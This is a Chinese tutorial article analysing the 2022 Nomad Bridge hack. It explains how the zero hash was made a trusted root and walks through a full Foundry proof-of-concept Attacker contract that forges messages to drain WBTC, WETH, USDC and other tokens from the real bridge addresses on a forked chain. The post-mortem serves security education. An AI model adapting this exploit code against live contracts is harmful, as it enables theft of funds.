十年匠心定制 · 商业建站与技术教学双线并行 咨询热线:400-886-1026 service@lmnt.cn
ARTICLE DETAIL

资讯详情

深耕网站建设与运营推广的一线实战洞察。

WTF-Solidity 链上安全实战:Nomad Bridge 跨链桥攻击事件深度剖析与 Foundry 复现(2022/08)

WTF-Solidity 链上安全实战:Nomad Bridge 跨链桥攻击事件深度剖析与 Foundry 复现(2022/08) WTF-Solidity 链上安全实战Nomad Bridge 跨链桥攻击事件深度剖析与 Foundry 复现2022/08【免费下载链接】WTF-SolidityWTF Solidity 极简入门教程供小白们使用。Now supports English! 官网: https://wtf.academy项目地址: https://gitcode.com/GitHub_Trending/wt/WTF-Solidity2022 年 8 月 1 日跨链桥 Nomad Bridge 被黑客盗走约 1.9 亿美元锁定资产而根因竟是一次代理合约例行升级中把零哈希值 0x00 标记为了可信根使任意消息都能自动通过证明。本篇文章基于 WTF-Solidity 仓库 链上交易调试系列 07 号文档完整还原事件脉络、从 Replica 合约源码层面剖析漏洞根因并给出仅 87 行的 Foundry 攻击复现 PoC帮助你掌握阅读链上交易 → 定位根因 → 编写复现脚本的完整安全分析技能。事件概览一场无门槛的黑暗森林狂欢2022 年 8 月 1 日Nomad Bridge 遭到攻击1.9 亿美元的锁定资产在此次事件中被盗。与多数攻击不同这场灾难的转折点在于第一个攻击者成功后引来大量黑暗森林dark forest旅客的模仿攻击最终演变为一场攻击源众多、几乎人人可参与的协作式安全事件。根本原因是一条看似无害的例行升级在 Nomad 某个代理合约的实现合约升级过程中0x00被设置为预批准的根root这使得任意消息都可以自动得到证明。攻击者利用该漏洞欺骗桥合约成功解锁了资金。第一笔攻击交易从桥合约中获利 100 WBTC按当时价格约合 230 万美元且整个过程不需要闪电贷flashloan也不涉及与其他 DeFi 协议的复杂交互——攻击者只是调用合约上的一个函数并传入正确的消息输入就向协议的流动性发动了攻击。攻击交易的简单与可重放性让其他人也纷纷收集了部分非法利润使整个事件雪上加霜。正如 Rekt News 所评价的诚如 DeFi 的游戏规则这次黑客攻击几乎是无门槛的任何人都可以加入进来。背景知识Nomad 跨链桥是如何工作的Nomad 是一个跨链交互应用允许在以太坊Ethereum、Moonbeam 以及其他链之间进行代币操作。发送到 Nomad 合约的消息经验证后通过离线代理off-chain agent机制传输到其他链上遵循**乐观验证optimistic verification**机制。与大多数跨链桥协议一样Nomad 的代币跨链通过在一侧锁定代币、另一侧铸造代币的方式完成跨链价值转移用户在源链将 ERC-20 代币锁定进桥合约目标链上铸造出对应的代表代币representative token代表代币最终可以被销毁从而解锁原始资金即跨链回到代币的原生链。这些代表代币起到**借据IOU**的作用具有与原始 ERC-20 代币相同的经济价值。正因为如此跨链项目会在复杂的智能合约中积累大量资金使其成为黑客眼中极具吸引力的目标——这也是所有跨链桥类项目天然的高风险属性仓库中 31_ERC20、40_ERC1155 等章节可作为理解这些代币标准的基础读物。在 Nomad 项目中一个名为Replica的合约负责在 Merkle 树结构中验证消息该合约在支持的各个链上均有部署。项目中的其他合约都依赖它验证输入的消息。一旦消息被验证就会被存储在 Merkle 树中并生成一个新的承诺树根committed root随后被确认、处理。根本原因0x00 成为可信根要理解 2022 年 8 月攻击事件的根因需要深入阅读Replica合约的源码。以下是 Replica 合约中负责将消息派发给最终接收方的process函数function process(bytes memory _message) public returns (bool _success) { // ensure message was meant for this domain bytes29 _m _message.ref(0); require(_m.destination() localDomain, !destination); // ensure message has been proven bytes32 _messageHash _m.keccak(); require(acceptableRoot(messages[_messageHash]), !proven); // check re-entrancy guard require(entered 1, !reentrant); entered 0; // update message status as processed messages[_messageHash] LEGACY_STATUS_PROCESSED; // call handle function IMessageRecipient(_m.recipientAddress()).handle( _m.origin(), _m.nonce(), _m.sender(), _m.body().clone() ); // emit process results emit Process(_messageHash, true, ); // reset re-entrancy guard entered 1; // return true return true; }process函数只有在**输入消息已被证明proven**的情况下才会成功执行即该消息在调用process之前已被添加到 Merkle 树中并拥有了可被接受且可信的根。这个验证第 38 行利用acceptableRoot视图函数在已验证根的映射mapping中查询传入消息哈希值从而判断消息是否合法。问题出在 Replica 合约的initialize函数上function initialize( uint32 _remoteDomain, address _updater, bytes32 _committedRoot, uint256 _optimisticSeconds ) public initializer { __NomadBase_initialize(_updater); // set storage variables entered 1; remoteDomain _remoteDomain; committedRoot _committedRoot; // pre-approve the committed root. confirmAt[_committedRoot] 1; _setOptimisticTimeout(_optimisticSeconds); }当升级代理合约的实现合约时实现合约会执行一次性的初始化函数设置一些初始状态值。Nomad 在部署新实现合约后调用了initialize函数完成初始化随后对存储实现合约地址的合约进行了例行升级。在调用initialize初始化合约时0x00被作为预批准的根传入并被存储在confirmAt映射中——这正是本次事件的开端。EVM 存储默认零值漏洞被放大的关键回到process函数验证过程依赖在消息映射messages上检查消息哈希值并将该消息标记为已处理这样攻击者无法重复使用同一条消息。而 EVM 智能合约存储有一个值得注意的特性所有存储位置slot的初始值均为 0。也就是说读取一个未使用的存储位置时EVM 总是返回零值0x00而不是抛出异常。对于 mapping 同样如此查询不存在的消息哈希值时会返回零值。这个零值被传给acceptableRoot函数时由于 4 月 21 日升级中0x00已被设置为可信根该函数就会返回true。于是攻击链路清晰地闭合了攻击者构造一条全新的消息其哈希在messages映射中不存在messages[_messageHash]返回0x00acceptableRoot(0x00)因confirmAt[0x00] 1返回true绕过已证明检查消息被标记为已处理随后派发给接收方触发解锁与转账。虽然这条消息随后会被标记为已处理但攻击者只需稍微更改消息内容例如更换收件人地址就能生成一条全新的、从未被处理过的消息从而无限次发起模仿攻击。为什么模仿攻击如此容易输入的消息往往根据各种不同的参数类型进行编码。对于从桥上解锁资金的消息其中一个关键参数就是收件人地址。因此在第一个攻击者执行了成功的交易之后任何了解消息解码格式的人都可以简单地更改收件人地址并重放攻击交易——因为使用的是不同的消息新的攻击不会受到先前攻击的影响新地址照样能获利。这就是无门槛攻击的技术根源。攻击复现Proof of Concept理解了 Nomad 为何被攻击后就可以尝试复现这次攻击。复现思路是根据不同代币创建对应的攻击消息然后通过 Replica 合约的process函数盗取相应资产。环境准备选用带有存档archive功能的 RPC 服务例如 Ankr 的免费归档节点服务用于在本地 fork 指定区块状态将区块高度15259100攻击发生前一个区块作为 fork 区块使用 Foundry 测试框架完成攻击复现关于为什么值得自己动手编写复现 PoC可参考仓库 03 号教程其总结了锻炼事件响应能力、提升威胁研究分析与 Bug Bounty 技能、加深对攻击思路理解等价值。复现攻击的四个步骤选择一个给定的 ERC-20 代币检查 Nomad ERC-20 桥合约的余额生成一个带有正确参数的消息来解锁资金将攻击者地址作为接收者、全额代币余额作为要解锁的资金量调用process函数以获取代币针对不同代币重复以上步骤盗取资金。攻击合约框架pragma solidity ^0.8.13; import openzeppelin/token/ERC20/ERC20.sol; interface IReplica { function process(bytes memory _message) external returns (bool _success); } contract Attacker { address constant REPLICA 0x5D94309E5a0090b165FA4181519701637B6DAEBA; address constant ERC20_BRIDGE 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; // tokens address [] public tokens [ 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT ]; function attack() external { for (uint i 0; i tokens.length; i) { address token tokens[i]; uint256 amount_bridge IERC20(token).balanceOf(ERC20_BRIDGE); bytes memory payload genPayload(msg.sender, token, amount_bridge); bool success IReplica(REPLICA).process(payload); require(success, Failed to process the payload); } } function genPayload( address recipient, address token, uint256 amount ) internal pure returns (bytes memory) {} }攻击合约的入口是attack函数一个简单的循环遍历多个代币地址查询桥合约ERC20_BRIDGE即 Nomad ERC-20 桥合约、所有锁定资产的存放地址上各代币的余额然后根据余额构造攻击消息作为输入传给IReplica(REPLICA).process。该函数会把伪造的消息派发给对应的后端合约触发解锁与转移资产的请求从而将桥玩弄于股掌之间。构造符合协议格式的消息contract Attacker { address constant BRIDGE_ROUTER 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; // Nomad domain IDs uint32 constant ETHEREUM 0x657468; // eth uint32 constant MOONBEAM 0x6265616d; // beam function genPayload( address recipient, address token, uint256 amount ) internal pure returns (bytes memory payload) { payload abi.encodePacked( MOONBEAM, // Home chain domain uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge uint32(0), // Dst nonce ETHEREUM, // Dst chain domain uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) ETHEREUM, // Token domain uint256(uint160(token)), // token id (e.g. WBTC) uint8(0x3), // Type - transfer uint256(uint160(recipient)), // Recipient of the transfer uint256(amount), // Amount uint256(0) // Optional: Token details hash // keccak256( // abi.encodePacked( // bytes(tokenName).length, // tokenName, // bytes(tokenSymbol).length, // tokenSymbol, // tokenDecimals // ) // ) ); } }生成消息时必须保证不同参数的编码正确以便 Nomad 协议能正确解码。消息的关键字段解析如下字段类型示例值说明Home chain domainuint32MOONBEAM0x6265616d即 beam消息来源链的 Nomad 域 IDSenderuint256uint160(BRIDGE_ROUTER)消息发送者桥路由器合约地址Dst nonceuint320目标链 nonceDst chain domainuint32ETHEREUM0x657468即 eth目标链的 Nomad 域 IDRecipientuint256uint160(ERC20_BRIDGE)消息接收者Nomad ERC-20 桥合约Token domainuint32ETHEREUM代币所在链的域 IDToken iduint256uint160(token)要转移的代币地址如 WBTCTypeuint80x3消息类型代币转账Transfer recipientuint256uint160(recipient)转账接收者攻击者地址Amountuint256amount转账金额桥合约中该代币的全额余额Token details hashuint2560可选的代币元数据哈希名称/符号/精度编码后的 keccak256这里需要重点关注消息的转发路径桥路由器合约BRIDGE_ROUTER与 ERC-20 桥地址确保消息能被路由到正确的后端合约同时用0x3作为类型表示代币转移。最后真正带来利润的参数是正确的代币地址、要转移的金额、以及转移的接收者。由于这是对 Replica 合约而言完全全新的消息依据前文分析的根因它会被视为已被证明的合法消息。不可思议的是即使加上 Foundry 日志信息整个 PoC 也只有87 行代码。在 fork 区块上运行上述复现代码可获得以下资金代币盗取数量WBTC1,028WETH22,876USDC87,459,362USDT8,625,217DAI4,533,633FXS119,088源码中该地址注释标为 FRAXCQT113,403,733也就是说一次交易即可将桥合约中全部列出的资产余额一网打尽。完整 PoC87 行代码清空桥流动性以下是完整的攻击复现代码含 Foundry 日志输出将上述两个片段整合进一个合约// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import openzeppelin/token/ERC20/ERC20.sol; import forge-std/console.sol; interface IReplica { function process(bytes memory _message) external returns (bool _success); } contract Attacker { address constant REPLICA 0x5D94309E5a0090b165FA4181519701637B6DAEBA; address constant BRIDGE_ROUTER 0xD3dfD3eDe74E0DCEBC1AA685e151332857efCe2d; address constant ERC20_BRIDGE 0x88A69B4E698A4B090DF6CF5Bd7B2D47325Ad30A3; // Nomad domain IDs uint32 constant ETHEREUM 0x657468; // eth uint32 constant MOONBEAM 0x6265616d; // beam // tokens address [] public tokens [ 0x2260FAC5E5542a773Aa44fBCfeDf7C193bc2C599, // WBTC 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, // WETH 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, // USDC 0xdAC17F958D2ee523a2206206994597C13D831ec7, // USDT 0x6B175474E89094C44Da98b954EedeAC495271d0F, // DAI 0x3432B6A60D23Ca0dFCa7761B7ab56459D9C964D0, // FRAX 0xD417144312DbF50465b1C641d016962017Ef6240 // CQT ]; function attack() external { for (uint i 0; i tokens.length; i) { address token tokens[i]; uint256 amount_bridge ERC20(token).balanceOf(ERC20_BRIDGE); console.log( [*] Stealing, amount_bridge / 10**ERC20(token).decimals(), ERC20(token).symbol() ); console.log( Attacker balance before:, ERC20(token).balanceOf(msg.sender) ); // Generate the payload with all of the tokens stored on the bridge bytes memory payload genPayload(msg.sender, token, amount_bridge); bool success IReplica(REPLICA).process(payload); require(success, Failed to process the payload); console.log( Attacker balance after: , IERC20(token).balanceOf(msg.sender) / 10**ERC20(token).decimals() ); } } function genPayload( address recipient, address token, uint256 amount ) internal pure returns (bytes memory payload) { payload abi.encodePacked( MOONBEAM, // Home chain domain uint256(uint160(BRIDGE_ROUTER)), // Sender: bridge uint32(0), // Dst nonce ETHEREUM, // Dst chain domain uint256(uint160(ERC20_BRIDGE)), // Recipient (Nomad ERC20 bridge) ETHEREUM, // Token domain uint256(uint160(token)), // token id (e.g. WBTC) uint8(0x3), // Type - transfer uint256(uint160(recipient)), // Recipient of the transfer uint256(amount), // Amount uint256(0) // Optional: Token details hash // keccak256( // abi.encodePacked( // bytes(tokenName).length, // tokenName, // bytes(tokenSymbol).length, // tokenSymbol, // tokenDecimals // ) // ) ); } }在 Foundry 中可使用--fork-url RPC与--fork-block-number 15259100参数在本地 fork 主网状态部署该合约后调用attack()即可观察到上述各代币余额被批量转出。可以看到代码中process函数的调用依赖合约自身的重入保护被正确复位entered标志而 Nomad 事件与仓库中 S01_ReentrancyAttack 等重入类漏洞不同——它并不需要重入单纯利用假证明就足以清空资金这一点进一步凸显了本漏洞的可怕。安全启示Nomad Bridge 攻击是 2022 年规模最大的黑客攻击之一它再次强调协议整体安全的重要性。从这个特殊案例中可以总结出以下几点例行升级也可能引入致命漏洞一次常规的代理合约实现升级在初始化时错误地将0x00预批准为可信根就足以危及全部锁定资金。代理合约与实现合约的初始化参数校验必须极为严格。警惕存储槽默认值 0x00在涉及 mapping 的逻辑中未使用键查询返回零值是 EVM 的固有行为。任何以零值为合法输入的设计如把0x00当作可信根都必须通过显式校验排除例如要求根非零、或者在confirmAt之外再维护一个已初始化标志。为常见危险值编写单元测试建议为这类可能导致漏洞的常见值零地址、零哈希、type(uint).max等建立单元测试防患于未然。链上分析工具链的价值本事件的分析与复现涉及交易可视化、状态 fork 与合约测试等多类工具相关工具的使用方法可参考仓库 01_tools 教程如 Phalcon、Eths tx、Tenderly 等交易查看器以及 4byte 签名数据库、ABI 转 interface、反编译工具等这是撰写复现 PoC 之前的重要铺垫。值得一提的是一些参与模仿攻击的账户事后将资金返还给了 Nomad 项目方项目方也计划重新上线并将资产返还给受影响的用户。这一事件也提醒我们DeFi 安全没有侥幸任何看起来微不足道的默认值都可能在存储槽深处埋下引爆点。【免费下载链接】WTF-SolidityWTF Solidity 极简入门教程供小白们使用。Now supports English! 官网: https://wtf.academy项目地址: https://gitcode.com/GitHub_Trending/wt/WTF-Solidity创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考
返回列表